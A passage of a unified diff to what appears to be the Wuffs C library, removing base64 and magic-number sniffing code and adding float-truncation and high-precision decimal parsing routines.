0x000FFFFFFFFFFFFF; - -- if (((s0 | s1 | s2 | s3) & 0xC0) != 0) { -- if (s_len > 4) { -- o.status.repr = wuffs_base__error__bad_data; -- goto done; -- } else if (!src_closed) { -- o.status.repr = wuffs_base__suspension__short_read; -- goto done; -- } else if ((options & WUFFS_BASE__BASE_64__DECODE_ALLOW_PADDING) && -- (s_ptr[3] == '=')) { -- pad = true; -- if (s_ptr[2] == '=') { -- goto src2; -- } -- goto src3; -- } -- o.status.repr = wuffs_base__error__bad_data; -- goto done; -+ if (exp == 0x7FF) { -+ if (man == 0) { // Infinity. -+ wuffs_base__lossy_value_u16 ret; -+ ret.value = neg | 0x7C00; -+ ret.lossy = false; -+ return ret; - } -+ // NaN. Shift the 52 mantissa bits to 10 mantissa bits, keeping the most -+ // significant mantissa bit (quiet vs signaling NaNs). Also set the low 9 -+ // bits of ret.value so that the 10-bit mantissa is non-zero. -+ wuffs_base__lossy_value_u16 ret; -+ ret.value = neg | 0x7DFF | ((uint16_t)(man >> 42)); -+ ret.lossy = false; -+ return ret; - -- if (d_len < 3) { -- o.status.repr = wuffs_base__suspension__short_write; -- goto done; -- } -+ } else if (exp > 0x40E) { // Truncate to the largest finite f16. -+ wuffs_base__lossy_value_u16 ret; -+ ret.value = neg | 0x7BFF; -+ ret.lossy = true; -+ return ret; - -- s_ptr += 4; -- s_len -= 4; -- s = (s0 << 18) | (s1 << 12) | (s2 << 6) | (s3 << 0); -- *d_ptr++ = (uint8_t)(s >> 16); -- *d_ptr++ = (uint8_t)(s >> 8); -- *d_ptr++ = (uint8_t)(s >> 0); -- d_len -= 3; -- } -- -- if (!src_closed) { -- o.status.repr = wuffs_base__suspension__short_read; -- goto done; -- } -+ } else if (exp <= 0x3E6) { // Truncate to zero. -+ wuffs_base__lossy_value_u16 ret; -+ ret.value = neg; -+ ret.lossy = (u != 0); -+ return ret; - -- if (s_len == 0) { -- o.status.repr = NULL; -- goto done; -- } else if (s_len == 1) { -- o.status.repr = wuffs_base__error__bad_data; -- goto done; -- } else if (s_len == 2) { -- goto src2; -+ } else if (exp <= 0x3F0) { // Normal f64, subnormal f16. -+ // Convert from a 53-bit mantissa (after realizing the implicit bit) to a -+ // 10-bit mantissa and then adjust for the exponent. -+ man |= 0x0010000000000000; -+ uint32_t shift = ((uint32_t)(1051 - exp)); // 1051 = 0x3F0 + 53 - 10. -+ uint64_t shifted_man = man >> shift; -+ wuffs_base__lossy_value_u16 ret; -+ ret.value = neg | ((uint16_t)shifted_man); -+ ret.lossy = (shifted_man << shift) != man; -+ return ret; - } - --src3: -- do { -- uint32_t s = wuffs_base__peek_u24le__no_bounds_check(s_ptr); -- uint32_t s0 = alphabet[0xFF & (s >> 0)]; -- uint32_t s1 = alphabet[0xFF & (s >> 8)]; -- uint32_t s2 = alphabet[0xFF & (s >> 16)]; -- if ((s0 & 0xC0) || (s1 & 0xC0) || (s2 & 0xC3)) { -- o.status.repr = wuffs_base__error__bad_data; -- goto done; -- } -- if (d_len < 2) { -- o.status.repr = wuffs_base__suspension__short_write; -- goto done; -- } -- s_ptr += pad ? 4 : 3; -- s = (s0 << 18) | (s1 << 12) | (s2 << 6); -- *d_ptr++ = (uint8_t)(s >> 16); -- *d_ptr++ = (uint8_t)(s >> 8); -- o.status.repr = NULL; -- goto done; -- } while (0); -+ // Normal f64, normal f16. - --src2: -- do { -- uint32_t s = wuffs_base__peek_u16le__no_bounds_check(s_ptr); -- uint32_t s0 = alphabet[0xFF & (s >> 0)]; -- uint32_t s1 = alphabet[0xFF & (s >> 8)]; -- if ((s0 & 0xC0) || (s1 & 0xCF)) { -- o.status.repr = wuffs_base__error__bad_data; -- goto done; -- } -- if (d_len < 1) { -- o.status.repr = wuffs_base__suspension__short_write; -- goto done; -- } -- s_ptr += pad ? 4 : 2; -- s = (s0 << 18) | (s1 << 12); -- *d_ptr++ = (uint8_t)(s >> 16); -- o.status.repr = NULL; -- goto done; -- } while (0); -+ // Re-bias from 1023 to 15 and shift above f16's 10 mantissa bits. -+ exp = (exp - 1008) << 10; // 1008 = 1023 - 15 = 0x3FF - 0xF. - --done: -- o.num_dst = (size_t)(d_ptr - dst.ptr); -- o.num_src = (size_t)(s_ptr - src.ptr); -- return o; -+ // Convert from a 52-bit mantissa (excluding the implicit bit) to a 10-bit -+ // mantissa (again excluding the implicit bit). We lose some information if -+ // any of the bottom 42 bits are non-zero. -+ wuffs_base__lossy_value_u16 ret; -+ ret.value = neg | ((uint16_t)exp) | ((uint16_t)(man >> 42)); -+ ret.lossy = (man << 22) != 0; -+ return ret; - } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // --wuffs_base__base_64__encode(wuffs_base__slice_u8 dst, -- wuffs_base__slice_u8 src, -- bool src_closed, -- uint32_t options) { -- const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) -- ? wuffs_base__base_64__encode_url -- : wuffs_base__base_64__encode_std; -- wuffs_base__transform__output o; -- uint8_t* d_ptr = dst.ptr; -- size_t d_len = dst.len; -- const uint8_t* s_ptr = src.ptr; -- size_t s_len = src.len; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u32 // -+wuffs_base__ieee_754_bit_representation__from_f64_to_u32_truncate(double f) { -+ uint64_t u = 0; -+ if (sizeof(uint64_t) == sizeof(double)) { -+ memcpy(&u, &f, sizeof(uint64_t)); -+ } -+ uint32_t neg = ((uint32_t)(u >> 63)) << 31; -+ u &= 0x7FFFFFFFFFFFFFFF; -+ uint64_t exp = u >> 52; -+ uint64_t man = u & 0x000FFFFFFFFFFFFF; - -- do { -- while (s_len >= 3) { -- if (d_len < 4) { -- o.status.repr = wuffs_base__suspension__short_write; -- goto done; -- } -- uint32_t s = wuffs_base__peek_u24be__no_bounds_check(s_ptr); -- s_ptr += 3; -- s_len -= 3; -- *d_ptr++ = alphabet[0x3F & (s >> 18)]; -- *d_ptr++ = alphabet[0x3F & (s >> 12)]; -- *d_ptr++ = alphabet[0x3F & (s >> 6)]; -- *d_ptr++ = alphabet[0x3F & (s >> 0)]; -- d_len -= 4; -+ if (exp == 0x7FF) { -+ if (man == 0) { // Infinity. -+ wuffs_base__lossy_value_u32 ret; -+ ret.value = neg | 0x7F800000; -+ ret.lossy = false; -+ return ret; - } -+ // NaN. Shift the 52 mantissa bits to 23 mantissa bits, keeping the most -+ // significant mantissa bit (quiet vs signaling NaNs). Also set the low 22 -+ // bits of ret.value so that the 23-bit mantissa is non-zero. -+ wuffs_base__lossy_value_u32 ret; -+ ret.value = neg | 0x7FBFFFFF | ((uint32_t)(man >> 29)); -+ ret.lossy = false; -+ return ret; - -- if (!src_closed) { -- o.status.repr = wuffs_base__suspension__short_read; -- goto done; -- } -+ } else if (exp > 0x47E) { // Truncate to the largest finite f32. -+ wuffs_base__lossy_value_u32 ret; -+ ret.value = neg | 0x7F7FFFFF; -+ ret.lossy = true; -+ return ret; - -- if (s_len == 2) { -- if (d_len < -- ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 3)) { -- o.status.repr = wuffs_base__suspension__short_write; -- goto done; -- } -- uint32_t s = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(s_ptr))) -- << 8; -- s_ptr += 2; -- *d_ptr++ = alphabet[0x3F & (s >> 18)]; -- *d_ptr++ = alphabet[0x3F & (s >> 12)]; -- *d_ptr++ = alphabet[0x3F & (s >> 6)]; -- if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { -- *d_ptr++ = '='; -- } -- o.status.repr = NULL; -- goto done; -+ } else if (exp <= 0x369) { // Truncate to zero. -+ wuffs_base__lossy_value_u32 ret; -+ ret.value = neg; -+ ret.lossy = (u != 0); -+ return ret; - -- } else if (s_len == 1) { -- if (d_len < -- ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 2)) { -- o.status.repr = wuffs_base__suspension__short_write; -- goto done; -- } -- uint32_t s = ((uint32_t)(wuffs_base__peek_u8__no_bounds_check(s_ptr))) -- << 16; -- s_ptr += 1; -- *d_ptr++ = alphabet[0x3F & (s >> 18)]; -- *d_ptr++ = alphabet[0x3F & (s >> 12)]; -- if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { -- *d_ptr++ = '='; -- *d_ptr++ = '='; -- } -- o.status.repr = NULL; -- goto done; -+ } else if (exp <= 0x380) { // Normal f64, subnormal f32. -+ // Convert from a 53-bit mantissa (after realizing the implicit bit) to a -+ // 23-bit mantissa and then adjust for the exponent. -+ man |= 0x0010000000000000; -+ uint32_t shift = ((uint32_t)(926 - exp)); // 926 = 0x380 + 53 - 23. -+ uint64_t shifted_man = man >> shift; -+ wuffs_base__lossy_value_u32 ret; -+ ret.value = neg | ((uint32_t)shifted_man); -+ ret.lossy = (shifted_man << shift) != man; -+ return ret; -+ } - -- } else { -- o.status.repr = NULL; -- goto done; -- } -- } while (0); -+ // Normal f64, normal f32. - --done: -- o.num_dst = (size_t)(d_ptr - dst.ptr); -- o.num_src = (size_t)(s_ptr - src.ptr); -- return o; -+ // Re-bias from 1023 to 127 and shift above f32's 23 mantissa bits. -+ exp = (exp - 896) << 23; // 896 = 1023 - 127 = 0x3FF - 0x7F. -+ -+ // Convert from a 52-bit mantissa (excluding the implicit bit) to a 23-bit -+ // mantissa (again excluding the implicit bit). We lose some information if -+ // any of the bottom 29 bits are non-zero. -+ wuffs_base__lossy_value_u32 ret; -+ ret.value = neg | ((uint32_t)exp) | ((uint32_t)(man >> 29)); -+ ret.lossy = (man << 35) != 0; -+ return ret; - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || -- // defined(WUFFS_CONFIG__MODULE__BASE) || -- // defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) -+// -------- - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -- defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) -+#define WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE 2047 -+#define WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION 800 - --// ---------------- Magic Numbers -+// WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL is the largest N such that -+// ((10 << N) < (1 << 64)). -+#define WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL 60 - --// ICO doesn't start with a magic identifier. Instead, see if the opening bytes --// are plausibly ICO. -+// wuffs_private_impl__high_prec_dec (abbreviated as HPD) is a fixed precision -+// floating point decimal number, augmented with ±infinity values, but it -+// cannot represent NaN (Not a Number). - // --// Callers should have already verified that (prefix_data.len >= 2) and the --// first two bytes are 0x00. -+// "High precision" means that the mantissa holds 800 decimal digits. 800 is -+// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION. - // --// See: --// - https://docs.fileformat.com/image/ico/ --static int32_t // --wuffs_base__magic_number_guess_fourcc__maybe_ico( -- wuffs_base__slice_u8 prefix_data, -- bool prefix_closed) { -- // Allow-list for the Image Type field. -- if (prefix_data.len < 4) { -- return prefix_closed ? 0 : -1; -- } else if (prefix_data.ptr[3] != 0) { -- return 0; -- } -- switch (prefix_data.ptr[2]) { -- case 0x01: // ICO -- case 0x02: // CUR -- break; -- default: -- return 0; -- } -- -- // The Number Of Images should be positive. -- if (prefix_data.len < 6) { -- return prefix_closed ? 0 : -1; -- } else if ((prefix_data.ptr[4] == 0) && (prefix_data.ptr[5] == 0)) { -- return 0; -- } -+// An HPD isn't for general purpose arithmetic, only for conversions to and -+// from IEEE 754 double-precision floating point, where the largest and -+// smallest positive, finite values are approximately 1.8e+308 and 4.9e-324. -+// HPD exponents above +2047 mean infinity, below -2047 mean zero. The ±2047 -+// bounds are further away from zero than ±(324 + 800), where 800 and 2047 is -+// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION and -+// WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. -+// -+// digits[.. num_digits] are the number's digits in big-endian order. The -+// uint8_t values are in the range [0 ..= 9], not ['0' ..= '9'], where e.g. '7' -+// is the ASCII value 0x37. -+// -+// decimal_point is the index (within digits) of the decimal point. It may be -+// negative or be larger than num_digits, in which case the explicit digits are -+// padded with implicit zeroes. -+// -+// For example, if num_digits is 3 and digits is "\x07\x08\x09": -+// - A decimal_point of -2 means ".00789" -+// - A decimal_point of -1 means ".0789" -+// - A decimal_point of +0 means ".789" -+// - A decimal_point of +1 means "7.89" -+// - A decimal_point of +2 means "78.9" -+// - A decimal_point of +3 means "789." -+// - A decimal_point of +4 means "7890." -+// - A decimal_point of +5 means "78900." -+// -+// As above, a decimal_point higher than +2047 means that the overall value is -+// infinity, lower than -2047 means zero. -+// -+// negative is a sign bit. An HPD can distinguish positive and negative zero. -+// -+// truncated is whether there are more than -+// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION digits, and at least one of those -+// extra digits are non-zero. The existence of long-tail digits can affect -+// rounding. -+// -+// The "all fields are zero" value is valid, and represents the number +0. -+typedef struct wuffs_private_impl__high_prec_dec__struct { -+ uint32_t num_digits; -+ int32_t decimal_point; -+ bool negative; -+ bool truncated; -+ uint8_t digits[WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION]; -+} wuffs_private_impl__high_prec_dec; - -- // The first ICONDIRENTRY's fourth byte should be zero. -- if (prefix_data.len < 10) { -- return prefix_closed ? 0 : -1; -- } else if (prefix_data.ptr[9] != 0) { -- return 0; -+// wuffs_private_impl__high_prec_dec__trim trims trailing zeroes from the -+// h->digits[.. h->num_digits] slice. They have no benefit, since we explicitly -+// track h->decimal_point. -+// -+// Preconditions: -+// - h is non-NULL. -+static inline void // -+wuffs_private_impl__high_prec_dec__trim(wuffs_private_impl__high_prec_dec* h) { -+ while ((h->num_digits > 0) && (h->digits[h->num_digits - 1] == 0)) { -+ h->num_digits--; - } -- -- // TODO: have a separate FourCC for CUR? -- return 0x49434F20; // 'ICO 'be - } - --// TGA doesn't start with a magic identifier. Instead, see if the opening bytes --// are plausibly TGA. -+// wuffs_private_impl__high_prec_dec__assign sets h to represent the number x. - // --// Callers should have already verified that (prefix_data.len >= 2) and the --// second byte (prefix_data.ptr[1], the Color Map Type byte), is either 0x00 or --// 0x01. --// --// See: --// - https://docs.fileformat.com/image/tga/ --// - https://www.dca.fee.unicamp.br/~martino/disciplinas/ea978/tgaffs.pdf --static int32_t // --wuffs_base__magic_number_guess_fourcc__maybe_tga( -- wuffs_base__slice_u8 prefix_data, -- bool prefix_closed) { -- // Allow-list for the Image Type field. -- if (prefix_data.len < 3) { -- return prefix_closed ? 0 : -1; -- } -- switch (prefix_data.ptr[2]) { -- case 0x01: -- case 0x02: -- case 0x03: -- case 0x09: -- case 0x0A: -- case 0x0B: -- break; -- default: -- // TODO: 0x20 and 0x21 are invalid, according to the spec, but are -- // apparently unofficial extensions. -- return 0; -- } -- -- // Allow-list for the Color Map Entry Size field (if the Color Map Type field -- // is non-zero) or else all the Color Map fields should be zero. -- if (prefix_data.len < 8) { -- return prefix_closed ? 0 : -1; -- } else if (prefix_data.ptr[1] != 0x00) { -- switch (prefix_data.ptr[7]) { -- case 0x0F: -- case 0x10: -- case 0x18: -- case 0x20: -- break; -- default: -- return 0; -- } -- } else if ((prefix_data.ptr[3] | prefix_data.ptr[4] | prefix_data.ptr[5] | -- prefix_data.ptr[6] | prefix_data.ptr[7]) != 0x00) { -- return 0; -- } -+// Preconditions: -+// - h is non-NULL. -+static void // -+wuffs_private_impl__high_prec_dec__assign(wuffs_private_impl__high_prec_dec* h, -+ uint64_t x, -+ bool negative) { -+ uint32_t n = 0; - -- // Allow-list for the Pixel Depth field. -- if (prefix_data.len < 17) { -- return prefix_closed ? 0 : -1; -- } -- switch (prefix_data.ptr[16]) { -- case 0x01: -- case 0x08: -- case 0x0F: -- case 0x10: -- case 0x18: -- case 0x20: -- break; -- default: -- return 0; -+ // Set h->digits. -+ if (x > 0) { -+ // Calculate the digits, working right-to-left. After we determine n (how -+ // many digits there are), copy from buf to h->digits. -+ // -+ // UINT64_MAX, 18446744073709551615, is 20 digits long. It can be faster to -+ // copy a constant number of bytes than a variable number (20 instead of -+ // n). Make buf large enough (and start writing to it from the middle) so -+ // that can we always copy 20 bytes: the slice buf[(20-n) .. (40-n)]. -+ uint8_t buf[40] = {0}; -+ uint8_t* ptr = &buf[20]; -+ do { -+ uint64_t remaining = x / 10; -+ x -= remaining * 10; -+ ptr--; -+ *ptr = (uint8_t)x; -+ n++; -+ x = remaining; -+ } while (x > 0); -+ memcpy(h->digits, ptr, 20); - } - -- return 0x54474120; // 'TGA 'be -+ // Set h's other fields. -+ h->num_digits = n; -+ h->decimal_point = (int32_t)n; -+ h->negative = negative; -+ h->truncated = false; -+ wuffs_private_impl__high_prec_dec__trim(h); - } - --WUFFS_BASE__MAYBE_STATIC int32_t // --wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, -- bool prefix_closed) { -- // This is similar to (but different from): -- // - the magic/Magdir tables under https://github.com/file/file -- // - the MIME Sniffing algorithm at https://mimesniff.spec.whatwg.org/ -- -- // table holds the 'magic numbers' (which are actually variable length -- // strings). The strings may contain NUL bytes, so the "const char* magic" -- // value starts with the length-minus-1 of the 'magic number'. -- // -- // Keep it sorted by magic[1], then magic[0] descending (prioritizing longer -- // matches) and finally by magic[2:]. When multiple entries match, the -- // longest one wins. -- // -- // The fourcc field might be negated, in which case there's further -- // specialization (see § below). -- static struct { -- int32_t fourcc; -- const char* magic; -- } table[] = { -- {-0x30302020, "\x01\x00\x00"}, // '00 'be -- {+0x475A2020, "\x02\x1F\x8B\x08"}, // GZ -- {+0x5A535444, "\x03\x28\xB5\x2F\xFD"}, // ZSTD -- {+0x425A3220, "\x02\x42\x5A\x68"}, // BZ2 -- {+0x424D5020, "\x01\x42\x4D"}, // BMP -- {+0x47494620, "\x03\x47\x49\x46\x38"}, // GIF -- {+0x54494646, "\x03\x49\x49\x2A\x00"}, // TIFF (little-endian) -- {+0x54494646, "\x03\x4D\x4D\x00\x2A"}, // TIFF (big-endian) -- {+0x4E50424D, "\x02\x50\x35\x0A"}, // NPBM (P5; *.pgm) -- {+0x4E50424D, "\x02\x50\x36\x0A"}, // NPBM (P6; *.ppm) -- {-0x52494646, "\x03\x52\x49\x46\x46"}, // RIFF -- {+0x4C5A4D41, "\x04\x5D\x00\x10\x00\x00"}, // LZMA -- {+0x4C5A4D41, "\x02\x5D\x00\x00"}, // LZMA -- {+0x4E494520, "\x02\x6E\xC3\xAF"}, // NIE -- {+0x514F4920, "\x03\x71\x6F\x69\x66"}, // QOI -- {+0x5A4C4942, "\x01\x78\x9C"}, // ZLIB -- {+0x504E4720, "\x03\x89\x50\x4E\x47"}, // PNG -- {+0x585A2020, "\x04\xFD\x37\x7A\x58\x5A"}, // XZ -- {+0x4A504547, "\x01\xFF\xD8"}, // JPEG -- }; -- static const size_t table_len = sizeof(table) / sizeof(table[0]); -- -- if (prefix_data.len == 0) { -- return prefix_closed ? 0 : -1; -+static wuffs_base__status // -+wuffs_private_impl__high_prec_dec__parse(wuffs_private_impl__high_prec_dec* h, -+ wuffs_base__slice_u8 s, -+ uint32_t options) { -+ if (!h) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- uint8_t pre_first_byte = prefix_data.ptr[0]; -+ h->num_digits = 0; -+ h->decimal_point = 0; -+ h->negative = false; -+ h->truncated = false; - -- int32_t fourcc = 0; -- size_t i; -- for (i = 0; i < table_len; i++) { -- uint8_t mag_first_byte = ((uint8_t)(table[i].magic[1])); -- if (pre_first_byte < mag_first_byte) { -- break; -- } else if (pre_first_byte > mag_first_byte) { -- continue; -- } -- fourcc = table[i].fourcc; -+ uint8_t* p = s.ptr; -+ uint8_t* q = s.ptr + s.len; - -- uint8_t mag_remaining_len = ((uint8_t)(table[i].magic[0])); -- if (mag_remaining_len == 0) { -- goto match; -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ for (;; p++) { -+ if (p >= q) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } else if (*p != '_') { -+ break; -+ } - } -+ } - -- const char* mag_remaining_ptr = table[i].magic + 2; -- uint8_t* pre_remaining_ptr = prefix_data.ptr + 1; -- size_t pre_remaining_len = prefix_data.len - 1; -- if (pre_remaining_len < mag_remaining_len) { -- if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, pre_remaining_len)) { -- return prefix_closed ? 0 : -1; -- } -+ // Parse sign. -+ do { -+ if (*p == '+') { -+ p++; -+ } else if (*p == '-') { -+ h->negative = true; -+ p++; - } else { -- if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, mag_remaining_len)) { -- goto match; -+ break; -+ } -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ for (;; p++) { -+ if (p >= q) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } else if (*p != '_') { -+ break; -+ } - } - } -- } -- -- if (prefix_data.len < 2) { -- return prefix_closed ? 0 : -1; -- } else if ((prefix_data.ptr[1] == 0x00) || (prefix_data.ptr[1] == 0x01)) { -- return wuffs_base__magic_number_guess_fourcc__maybe_tga(prefix_data, -- prefix_closed); -- } -- -- return 0; -- --match: -- // Negative FourCC values (see § above) are further specialized. -- if (fourcc < 0) { -- fourcc = -fourcc; -+ } while (0); - -- if (fourcc == 0x52494646) { // 'RIFF'be -- if (prefix_data.len < 12) { -- return prefix_closed ? 0 : -1; -+ // Parse digits, up to (and including) a '.', 'E' or 'e'. Examples for each -+ // limb in this if-else chain: -+ // - "0.789" -+ // - "1002.789" -+ // - ".789" -+ // - Other (invalid input). -+ uint32_t nd = 0; -+ int32_t dp = 0; -+ bool no_digits_before_separator = false; -+ if (('0' == *p) && -+ !(options & -+ WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES)) { -+ p++; -+ for (;; p++) { -+ if (p >= q) { -+ goto after_all; -+ } else if (*p == -+ ((options & -+ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -+ ? ',' -+ : '.')) { -+ p++; -+ goto after_sep; -+ } else if ((*p == 'E') || (*p == 'e')) { -+ p++; -+ goto after_exp; -+ } else if ((*p != '_') || -+ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); - } -- uint32_t x = wuffs_base__peek_u32be__no_bounds_check(prefix_data.ptr + 8); -- if (x == 0x57454250) { // 'WEBP'be -- return 0x57454250; // 'WEBP'be -+ } -+ -+ } else if (('0' <= *p) && (*p <= '9')) { -+ if (*p == '0') { -+ for (; (p < q) && (*p == '0'); p++) { - } -+ } else { -+ h->digits[nd++] = (uint8_t)(*p - '0'); -+ dp = (int32_t)nd; -+ p++; -+ } - -- } else if (fourcc == 0x30302020) { // '00 'be -- // Binary data starting with multiple 0x00 NUL bytes is quite common. -- // Unfortunately, some file formats also don't start with a magic -- // identifier, so we have to use heuristics (where the order matters, the -- // same as /usr/bin/file's magic/Magdir tables) as best we can. Maybe -- // it's TGA, ICO/CUR, etc. Maybe it's something else. -- int32_t tga = wuffs_base__magic_number_guess_fourcc__maybe_tga( -- prefix_data, prefix_closed); -- if (tga != 0) { -- return tga; -+ for (;; p++) { -+ if (p >= q) { -+ goto after_all; -+ } else if (('0' <= *p) && (*p <= '9')) { -+ if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { -+ h->digits[nd++] = (uint8_t)(*p - '0'); -+ dp = (int32_t)nd; -+ } else if ('0' != *p) { -+ // Long-tail non-zeroes set the truncated bit. -+ h->truncated = true; -+ } -+ } else if (*p == -+ ((options & -+ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -+ ? ',' -+ : '.')) { -+ p++; -+ goto after_sep; -+ } else if ((*p == 'E') || (*p == 'e')) { -+ p++; -+ goto after_exp; -+ } else if ((*p != '_') || -+ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); - } -- int32_t ico = wuffs_base__magic_number_guess_fourcc__maybe_ico( -- prefix_data, prefix_closed); -- if (ico != 0) { -- return ico; -+ } -+ -+ } else if (*p == ((options & -+ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -+ ? ',' -+ : '.')) { -+ p++; -+ no_digits_before_separator = true; -+ -+ } else { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ -+after_sep: -+ for (;; p++) { -+ if (p >= q) { -+ goto after_all; -+ } else if ('0' == *p) { -+ if (nd == 0) { -+ // Track leading zeroes implicitly. -+ dp--; -+ } else if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { -+ h->digits[nd++] = (uint8_t)(*p - '0'); - } -- if (prefix_data.len < 4) { -- return prefix_closed ? 0 : -1; -- } else if ((prefix_data.ptr[2] != 0x00) && -- ((prefix_data.ptr[2] >= 0x80) || -- (prefix_data.ptr[3] != 0x00))) { -- // Roughly speaking, this could be a non-degenerate (non-0-width and -- // non-0-height) WBMP image. -- return 0x57424D50; // 'WBMP'be -+ } else if (('0' < *p) && (*p <= '9')) { -+ if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { -+ h->digits[nd++] = (uint8_t)(*p - '0'); -+ } else { -+ // Long-tail non-zeroes set the truncated bit. -+ h->truncated = true; - } -- return 0; -+ } else if ((*p == 'E') || (*p == 'e')) { -+ p++; -+ goto after_exp; -+ } else if ((*p != '_') || -+ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - } -- return fourcc; --} -- --#endif // !defined(WUFFS_CONFIG__MODULES) || -- // defined(WUFFS_CONFIG__MODULE__BASE) || -- // defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -- defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) - --// ---------------- Pixel Swizzler -+after_exp: -+ do { -+ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -+ for (;; p++) { -+ if (p >= q) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } else if (*p != '_') { -+ break; -+ } -+ } -+ } - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") --static uint64_t // --wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len); -+ int32_t exp_sign = +1; -+ if (*p == '+') { -+ p++; -+ } else if (*p == '-') { -+ exp_sign = -1; -+ p++; -+ } - --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") --static uint64_t // --wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len); -+ int32_t exp = 0; -+ const int32_t exp_large = WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE + -+ WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION; -+ bool saw_exp_digits = false; -+ for (; p < q; p++) { -+ if ((*p == '_') && -+ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -+ // No-op. -+ } else if (('0' <= *p) && (*p <= '9')) { -+ saw_exp_digits = true; -+ if (exp < exp_large) { -+ exp = (10 * exp) + ((int32_t)(*p - '0')); -+ } -+ } else { -+ break; -+ } -+ } -+ if (!saw_exp_digits) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ dp += exp_sign * exp; -+ } while (0); - --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") --static uint64_t // --wuffs_base__pixel_swizzler__xxxx__y__x86_sse42(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -+after_all: -+ if (p != q) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ h->num_digits = nd; -+ if (nd == 0) { -+ if (no_digits_before_separator) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ h->decimal_point = 0; -+ } else if (dp < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { -+ h->decimal_point = -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE - 1; -+ } else if (dp > +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { -+ h->decimal_point = +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE + 1; -+ } else { -+ h->decimal_point = dp; -+ } -+ wuffs_private_impl__high_prec_dec__trim(h); -+ return wuffs_base__make_status(NULL); -+} - - // -------- - --static inline uint32_t // --wuffs_base__swap_u32_argb_abgr(uint32_t u) { -- uint32_t o = u & 0xFF00FF00ul; -- uint32_t r = u & 0x00FF0000ul; -- uint32_t b = u & 0x000000FFul; -- 